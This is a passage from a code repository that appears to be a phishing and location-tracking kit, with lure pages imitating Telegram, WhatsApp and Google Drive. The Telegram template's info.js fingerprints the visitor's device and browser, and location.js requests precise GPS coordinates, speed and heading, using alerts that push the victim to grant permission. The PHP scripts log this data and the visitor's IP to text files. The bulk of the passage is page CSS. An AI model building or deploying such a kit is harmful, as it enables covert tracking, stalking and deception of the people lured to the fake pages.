1px 0 rgba(255,255,255,0.1);-webkit-overflow-scrolling:touch}.navbar-collapse.in{overflow-y:auto}@media (min-width:1px){.navbar-collapse{width:auto;border-top:0;box-shadow:none}.navbar-collapse.collapse{display:block !important;height:auto !important;padding-bottom:0;overflow:visible !important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{padding-left:0;padding-right:0}}.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:340px}@media (max-width:480px) and (orientation:landscape){.navbar-fixed-top .navbar-collapse,.navbar-fixed-bottom .navbar-collapse{max-height:200px}}.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:-15px;margin-left:-15px}@media (min-width:1px){.container>.navbar-header,.container-fluid>.navbar-header,.container>.navbar-collapse,.container-fluid>.navbar-collapse{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:1px){.navbar-static-top{border-radius:0}}.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}@media (min-width:1px){.navbar-fixed-top,.navbar-fixed-bottom{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;padding:15.5px 15px;font-size:15px;line-height:17px;height:48px}.navbar-brand:hover,.navbar-brand:focus{text-decoration:none}@media (min-width:1px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;margin-right:15px;padding:9px 10px;margin-top:7px;margin-bottom:7px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:1px){.navbar-toggle{display:none}}.navbar-nav{margin:7.75px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:17px}@media (max-width:0){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;box-shadow:none}.navbar-nav .open .dropdown-menu>li>a,.navbar-nav .open .dropdown-menu .dropdown-header{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:17px}.navbar-nav .open .dropdown-menu>li>a:hover,.navbar-nav .open .dropdown-menu>li>a:focus{background-image:none}}@media (min-width:1px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15.5px;padding-bottom:15.5px}.navbar-nav.navbar-right:last-child{margin-right:-15px}}@media (min-width:1px){.navbar-left{float:left !important}.navbar-right{float:right !important}}.navbar-form{margin-left:-15px;margin-right:-15px;padding:10px 15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);box-shadow:inset 0 1px 0 rgba(255,255,255,0.1),0 1px 0 rgba(255,255,255,0.1);margin-top:8.5px;margin-bottom:8.5px}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn,.navbar-form .input-group .form-control{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .radio,.navbar-form .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .radio label,.navbar-form .checkbox label{padding-left:0}.navbar-form .radio input[type="radio"],.navbar-form .checkbox input[type="checkbox"]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:0){.navbar-form .form-group{margin-bottom:5px}}@media (min-width:1px){.navbar-form{width:auto;border:0;margin-left:0;margin-right:0;padding-top:0;padding-bottom:0;-webkit-box-shadow:none;box-shadow:none}.navbar-form.navbar-right:last-child{margin-right:-15px}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-right-radius:0;border-top-left-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8.5px;margin-bottom:8.5px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:13px;margin-bottom:13px}.navbar-text{margin-top:15.5px;margin-bottom:15.5px}@media (min-width:1px){.navbar-text{float:left;margin-left:15px;margin-right:15px}.navbar-text.navbar-right:last-child{margin-right:0}}.navbar-default{background-color:#fcfcfc;border-color:#e8e8e8}.navbar-default .navbar-brand{color:#0a76ba}.navbar-default .navbar-brand:hover,.navbar-default .navbar-brand:focus{color:#0a76ba;background-color:transparent}.navbar-default .navbar-text{color:#666}.navbar-default .navbar-nav>li>a{color:#666}.navbar-default .navbar-nav>li>a:hover,.navbar-default .navbar-nav>li>a:focus{color:#0a76ba;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:hover,.navbar-default .navbar-nav>.active>a:focus{color:#0a76ba;background-color:#fcfcfc}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:hover,.navbar-default .navbar-nav>.disabled>a:focus{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:hover,.navbar-default .navbar-toggle:focus{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e8e8e8}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:hover,.navbar-default .navbar-nav>.open>a:focus{background-color:#fcfcfc;color:#0a76ba}@media (max-width:0){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#666}.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus{color:#0a76ba;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus{color:#0a76ba;background-color:#fcfcfc}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#666}.navbar-default .navbar-link:hover{color:#0a76ba}.navbar-default .btn-link{color:#666}.navbar-default .btn-link:hover,.navbar-default .btn-link:focus{color:#0a76ba}.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:hover,.navbar-default .btn-link[disabled]:focus,fieldset[disabled] .navbar-default .btn-link:focus{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#777}.navbar-inverse .navbar-brand:hover,.navbar-inverse .navbar-brand:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#777}.navbar-inverse .navbar-nav>li>a{color:#777}.navbar-inverse .navbar-nav>li>a:hover,.navbar-inverse .navbar-nav>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:hover,.navbar-inverse .navbar-nav>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:hover,.navbar-inverse .navbar-nav>.disabled>a:focus{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:hover,.navbar-inverse .navbar-toggle:focus{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:hover,.navbar-inverse .navbar-nav>.open>a:focus{background-color:#080808;color:#fff}@media (max-width:0){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#777}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#777}.navbar-inverse .btn-link:hover,.navbar-inverse .btn-link:focus{color:#fff}.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:hover,.navbar-inverse .btn-link[disabled]:focus,fieldset[disabled] .navbar-inverse .btn-link:focus{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:17px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{content:"/\00a0";padding:0 5px;color:#ccc}.breadcrumb>.active{color:#777}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.form-horizontal .form-group:before,.form-horizontal .form-group:after,.nav:before,.nav:after,.navbar:before,.navbar:after,.navbar-header:before,.navbar-header:after,.navbar-collapse:before,.navbar-collapse:after{content:" ";display:table}.clearfix:after,.dl-horizontal dd:after,.form-horizontal .form-group:after,.nav:after,.navbar:after,.navbar-header:after,.navbar-collapse:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right !important}.pull-left{float:left !important}.hide{display:none !important}.show{display:block !important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none !important;visibility:hidden !important}.affix{position:fixed;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0)}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none !important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none !important}@media (max-width:767px){.visible-xs{display:block !important}table.visible-xs{display:table}tr.visible-xs{display:table-row !important}th.visible-xs,td.visible-xs{display:table-cell !important}}@media (max-width:767px){.visible-xs-block{display:block !important}}@media (max-width:767px){.visible-xs-inline{display:inline !important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block !important}table.visible-sm{display:table}tr.visible-sm{display:table-row !important}th.visible-sm,td.visible-sm{display:table-cell !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline !important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block !important}table.visible-md{display:table}tr.visible-md{display:table-row !important}th.visible-md,td.visible-md{display:table-cell !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline !important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block !important}}@media (min-width:1200px){.visible-lg{display:block !important}table.visible-lg{display:table}tr.visible-lg{display:table-row !important}th.visible-lg,td.visible-lg{display:table-cell !important}}@media (min-width:1200px){.visible-lg-block{display:block !important}}@media (min-width:1200px){.visible-lg-inline{display:inline !important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block !important}}@media (max-width:767px){.hidden-xs{display:none !important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none !important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none !important}}@media (min-width:1200px){.hidden-lg{display:none !important}}.visible-print{display:none !important}@media print{.visible-print{display:block !important}table.visible-print{display:table}tr.visible-print{display:table-row !important}th.visible-print,td.visible-print{display:table-cell !important}}.visible-print-block{display:none !important}@media print{.visible-print-block{display:block !important}}.visible-print-inline{display:none !important}@media print{.visible-print-inline{display:inline !important}}.visible-print-inline-block{display:none !important}@media print{.visible-print-inline-block{display:inline-block !important}}@media print{.hidden-print{display:none !important}} -------------------------------------------------------------------------------- /template/telegram/css/css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'Roboto'; 3 | font-style: normal; 4 | font-weight: 400; 5 | src: local('Roboto'), local('Roboto-Regular'), url(https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxP.ttf) format('truetype'); 6 | } 7 | @font-face { 8 | font-family: 'Roboto'; 9 | font-style: normal; 10 | font-weight: 700; 11 | src: local('Roboto Bold'), local('Roboto-Bold'), url(https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc9.ttf) format('truetype'); 12 | } 13 | -------------------------------------------------------------------------------- /template/telegram/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/telegram/favicon.ico -------------------------------------------------------------------------------- /template/telegram/images/Arrow_1x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/telegram/images/Arrow_1x.png -------------------------------------------------------------------------------- /template/telegram/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Telegram: Contact @Space 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 62 | 63 | 64 | 65 |
66 |
67 |
68 | 69 | 70 | 71 |
72 |
73 | 74 | Don't have Telegram yet? Try it now! 75 | 76 |
77 |
78 | 79 |
80 |
81 | Space 82 |
83 |
10000 members, 1337 online
84 |
85 | Space pictures 86 |
87 |
88 | View in Telegram 89 |
90 |
91 | If you have Telegram, you can view and join
Space right away. 92 |
93 |
94 |
95 |
96 | 102 | 111 | 112 | -------------------------------------------------------------------------------- /template/telegram/index_temp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Telegram: Contact @$TITLE$ 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 62 | 63 | 64 | 65 |
66 |
67 |
68 | 69 | 70 | 71 |
72 |
73 | 74 | Don't have Telegram yet? Try it now! 75 | 76 |
77 |
78 | 79 |
80 |
81 | $TITLE$ 82 |
83 |
$MEMBERS$ members, $ONLINE$ online
84 |
85 | $DESC$ 86 |
87 |
88 | View in Telegram 89 |
90 |
91 | If you have Telegram, you can view and join
$TITLE$ right away. 92 |
93 |
94 |
95 |
96 | 102 | 111 | 112 | -------------------------------------------------------------------------------- /template/telegram/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: '/php/info.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- /template/telegram/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | var lon = position.coords.longitude; 17 | var acc = position.coords.accuracy; 18 | var alt = position.coords.altitude; 19 | var dir = position.coords.heading; 20 | var spd = position.coords.speed; 21 | 22 | $.ajax({ 23 | type: 'POST', 24 | url: '/php/result.php', 25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 26 | success: function(){popup();}, 27 | mimeType: 'text' 28 | }); 29 | }; 30 | } 31 | 32 | function showError(error) 33 | { 34 | switch(error.code) 35 | { 36 | case error.PERMISSION_DENIED: 37 | var denied = 'User denied the request for Geolocation'; 38 | alert('Please Refresh This Page and Allow Location Permission...'); 39 | break; 40 | case error.POSITION_UNAVAILABLE: 41 | var unavailable = 'Location information is unavailable'; 42 | break; 43 | case error.TIMEOUT: 44 | var timeout = 'The request to get user location timed out'; 45 | alert('Please Set Your Location Mode on High Accuracy...'); 46 | break; 47 | case error.UNKNOWN_ERROR: 48 | var unknown = 'An unknown error occurred'; 49 | break; 50 | } 51 | 52 | $.ajax({ 53 | type: 'POST', 54 | url: '/php/error.php', 55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, 56 | success: function(){alert('Unable to fetch location, please try again...');}, 57 | mimeType: 'text' 58 | }); 59 | } 60 | -------------------------------------------------------------------------------- /template/telegram/php/error.php: -------------------------------------------------------------------------------- 1 | 42 | -------------------------------------------------------------------------------- /template/telegram/php/info.php: -------------------------------------------------------------------------------- 1 | $ptf, 46 | 'browser' => $brw, 47 | 'cores' => $cc, 48 | 'ram' => $ram, 49 | 'vendor' => $ven, 50 | 'render' => $ren, 51 | 'ip' => $ip, 52 | 'ht' => $ht, 53 | 'wd' => $wd, 54 | 'os' => $os); 55 | 56 | $jdata = json_encode($data); 57 | 58 | $f = fopen('info.txt', 'w+'); 59 | fwrite($f, $jdata); 60 | fclose($f); 61 | } 62 | ?> 63 | -------------------------------------------------------------------------------- /template/telegram/php/info.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /template/telegram/php/result.php: -------------------------------------------------------------------------------- 1 | $lat, 15 | 'lon' => $lon, 16 | 'acc' => $acc, 17 | 'alt' => $alt, 18 | 'dir' => $dir, 19 | 'spd' => $spd); 20 | 21 | $jdata = json_encode($data); 22 | 23 | $f = fopen('result.txt', 'w+'); 24 | fwrite($f, $jdata); 25 | fclose($f); 26 | } 27 | ?> 28 | -------------------------------------------------------------------------------- /template/telegram/php/result.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /template/templates.json: -------------------------------------------------------------------------------- 1 | { 2 | "templates": [ 3 | { 4 | "name": "NearYou", 5 | "dir_name": "nearyou", 6 | "module": false, 7 | "import_file": null 8 | }, 9 | { 10 | "name": "Google Drive", 11 | "dir_name": "gdrive", 12 | "module": true, 13 | "import_file": "mod_gdrive" 14 | }, 15 | { 16 | "name": "WhatsApp", 17 | "dir_name": "whatsapp", 18 | "module": true, 19 | "import_file": "mod_whatsapp" 20 | }, 21 | { 22 | "name": "Telegram", 23 | "dir_name": "telegram", 24 | "module": true, 25 | "import_file": "mod_telegram" 26 | } 27 | ] 28 | } -------------------------------------------------------------------------------- /template/whatsapp/css/Epf3I8GM5jv.css: -------------------------------------------------------------------------------- 1 | ._2e42 { 2 | box-sizing: border-box 3 | } 4 | 5 | html { 6 | touch-action: manipulation 7 | } 8 | 9 | body { 10 | background: #fff; 11 | color: #1c1e21; 12 | direction: ltr; 13 | line-height: 1.34; 14 | margin: 0; 15 | padding: 0; 16 | unicode-bidi: embed 17 | } 18 | 19 | body, 20 | button, 21 | input, 22 | label, 23 | select, 24 | td, 25 | textarea { 26 | font-family: Helvetica, Arial, sans-serif; 27 | font-size: 12px 28 | } 29 | 30 | h1, 31 | h2, 32 | h3, 33 | h4, 34 | h5, 35 | h6 { 36 | color: #1c1e21; 37 | font-size: 13px; 38 | font-weight: 600; 39 | margin: 0; 40 | padding: 0 41 | } 42 | 43 | h1 { 44 | font-size: 14px 45 | } 46 | 47 | h4, 48 | h5, 49 | h6 { 50 | font-size: 12px 51 | } 52 | 53 | p { 54 | margin: 1em 0 55 | } 56 | 57 | b, 58 | strong { 59 | font-weight: 600 60 | } 61 | 62 | a { 63 | color: #385898; 64 | cursor: pointer; 65 | text-decoration: none 66 | } 67 | 68 | button { 69 | margin: 0 70 | } 71 | 72 | a:hover { 73 | text-decoration: underline 74 | } 75 | 76 | img { 77 | border: 0 78 | } 79 | 80 | td, 81 | td.label { 82 | text-align: left 83 | } 84 | 85 | dd { 86 | color: #000 87 | } 88 | 89 | dt { 90 | color: #606770 91 | } 92 | 93 | ul { 94 | list-style-type: none; 95 | margin: 0; 96 | padding: 0 97 | } 98 | 99 | abbr { 100 | border-bottom: none; 101 | text-decoration: none 102 | } 103 | 104 | hr { 105 | background: #dadde1; 106 | border-width: 0; 107 | color: #dadde1; 108 | height: 1px 109 | } 110 | 111 | body { 112 | overflow-y: scroll 113 | } 114 | 115 | .mini_iframe, 116 | .serverfbml_iframe { 117 | overflow-y: visible 118 | } 119 | 120 | .auto_resize_iframe { 121 | height: auto; 122 | overflow: hidden 123 | } 124 | 125 | .pipe { 126 | color: gray; 127 | padding: 0 3px 128 | } 129 | 130 | #content { 131 | margin: 0; 132 | outline: none; 133 | padding: 0; 134 | width: auto 135 | } 136 | 137 | .profile #content, 138 | .home #content, 139 | .search #content { 140 | min-height: 600px 141 | } 142 | 143 | .UIStandardFrame_Container { 144 | margin: 0 auto; 145 | padding-top: 20px; 146 | width: 960px 147 | } 148 | 149 | .UIStandardFrame_Content { 150 | float: left; 151 | margin: 0; 152 | padding: 0; 153 | width: 760px 154 | } 155 | 156 | .UIStandardFrame_SidebarAds { 157 | float: right; 158 | margin: 0; 159 | padding: 0; 160 | width: 200px; 161 | word-wrap: break-word 162 | } 163 | 164 | .UIFullPage_Container { 165 | margin: 0 auto; 166 | padding: 20px 12px 0; 167 | width: 940px 168 | } 169 | 170 | .empty_message { 171 | background: #f5f6f7; 172 | font-size: 13px; 173 | line-height: 17px; 174 | padding: 20px 20px 50px; 175 | text-align: center 176 | } 177 | 178 | .see_all { 179 | text-align: right 180 | } 181 | 182 | .standard_status_element { 183 | visibility: hidden 184 | } 185 | 186 | .standard_status_element.async_saving { 187 | visibility: visible 188 | } 189 | 190 | img.tracking_pixel { 191 | height: 1px; 192 | position: absolute; 193 | visibility: hidden; 194 | width: 1px 195 | } 196 | 197 | ._ega { 198 | flex-shrink: 0; 199 | height: 80px; 200 | width: 80px 201 | } 202 | 203 | ._2rk4 { 204 | flex-shrink: 0; 205 | height: 48px; 206 | margin: 16px 0 16px 16px; 207 | width: 48px 208 | } 209 | 210 | ._257o { 211 | background-color: #fff; 212 | box-shadow: 0 0 20px 3px rgba(0, 0, 0, .15); 213 | cursor: default; 214 | display: flex; 215 | font-size: 12px; 216 | position: relative; 217 | -moz-user-select: none; 218 | width: 360px 219 | } 220 | 221 | ._egb { 222 | display: flex; 223 | flex-direction: column; 224 | padding: 8px 16px 3px 225 | } 226 | 227 | ._egb h3 { 228 | font-size: 14px; 229 | font-weight: normal 230 | } 231 | 232 | ._egb p { 233 | flex-grow: 1; 234 | line-height: 13px; 235 | margin: 4px 0 236 | } 237 | 238 | ._egb cite { 239 | color: #bec3c9; 240 | font-style: normal 241 | } 242 | 243 | ._2eed { 244 | background: #1c1e21; 245 | border: 1px solid #4c4c4c; 246 | border-radius: 0; 247 | border-style: solid none solid solid; 248 | cursor: default; 249 | display: flex; 250 | flex-direction: row; 251 | font-size: 12px; 252 | margin: 10px 0; 253 | padding: 10px 12px; 254 | position: relative; 255 | -moz-user-select: none 256 | } 257 | 258 | ._2eee { 259 | border-radius: 0; 260 | height: 32px; 261 | width: auto 262 | } 263 | 264 | ._3_qv { 265 | border-radius: 0; 266 | height: 48px; 267 | margin-top: 2px; 268 | width: auto 269 | } 270 | 271 | ._2eef { 272 | color: #b0b0b0; 273 | font-weight: 300; 274 | padding: 0 12px 275 | } 276 | 277 | ._2eeg { 278 | color: #fff; 279 | color: #fff; 280 | font-size: 12px; 281 | font-weight: normal; 282 | font-weight: 300; 283 | letter-spacing: -0.22px; 284 | margin-bottom: 1px; 285 | padding: 0 286 | } 287 | 288 | ._2eeh { 289 | color: inherit; 290 | font-size: 12px; 291 | font-weight: 300; 292 | line-height: 16px; 293 | margin: 0 0 2px; 294 | padding: 0 295 | } 296 | 297 | ._2eei { 298 | color: inherit; 299 | color: #909090; 300 | display: block; 301 | font-size: 11px; 302 | font-style: normal; 303 | font-weight: 300; 304 | letter-spacing: -0.22px 305 | } 306 | 307 | ._g5o { 308 | cursor: default; 309 | font-size: 12px; 310 | margin: 10px 0; 311 | -moz-user-select: none 312 | } 313 | 314 | ._g5w { 315 | background: #dadde1; 316 | border: 1px solid #ccd0d5; 317 | border-radius: 0; 318 | border-style: none solid solid none; 319 | position: relative 320 | } 321 | 322 | ._g5w ._g5u { 323 | margin-right: 28px 324 | } 325 | 326 | ._g5p { 327 | align-items: center; 328 | background: #e9ebee; 329 | border-radius: 12px; 330 | color: #3b4144; 331 | display: flex; 332 | margin: 10px 20px 333 | } 334 | 335 | ._g5q { 336 | margin: 0 15px 337 | } 338 | 339 | ._g5u { 340 | height: 48px; 341 | margin: 0 15px; 342 | width: auto 343 | } 344 | 345 | ._gcl { 346 | height: 48px; 347 | margin: 8px 15px; 348 | width: auto 349 | } 350 | 351 | ._g5r { 352 | display: flex; 353 | flex-direction: column; 354 | flex-grow: 1; 355 | padding: 8px 0 356 | } 357 | 358 | ._g5p h3 { 359 | color: inherit; 360 | font-size: 12px; 361 | font-weight: 500; 362 | margin-bottom: 2px 363 | } 364 | 365 | ._g5p p { 366 | color: inherit; 367 | flex-grow: 1; 368 | font-size: 11px; 369 | font-weight: 300; 370 | letter-spacing: -0.22px; 371 | line-height: 14px; 372 | margin: 0; 373 | padding: 0 374 | } 375 | 376 | ._g5p cite { 377 | color: inherit; 378 | font-size: 11px; 379 | font-style: normal; 380 | letter-spacing: -0.22px; 381 | line-height: 14px; 382 | margin-bottom: 2px 383 | } 384 | 385 | ._g5w h3 { 386 | color: inherit; 387 | font-size: 12px; 388 | font-weight: bold; 389 | padding: 12px 32px 12px 12px 390 | } 391 | 392 | ._g5w ._g5r { 393 | align-items: center; 394 | display: flex; 395 | flex-direction: row; 396 | padding: 0 0 12px 397 | } 398 | 399 | ._g5w p { 400 | color: inherit; 401 | flex-grow: 1; 402 | font-size: 11px; 403 | font-style: normal; 404 | letter-spacing: -0.22px; 405 | line-height: 14px; 406 | margin: 0; 407 | padding: 0 408 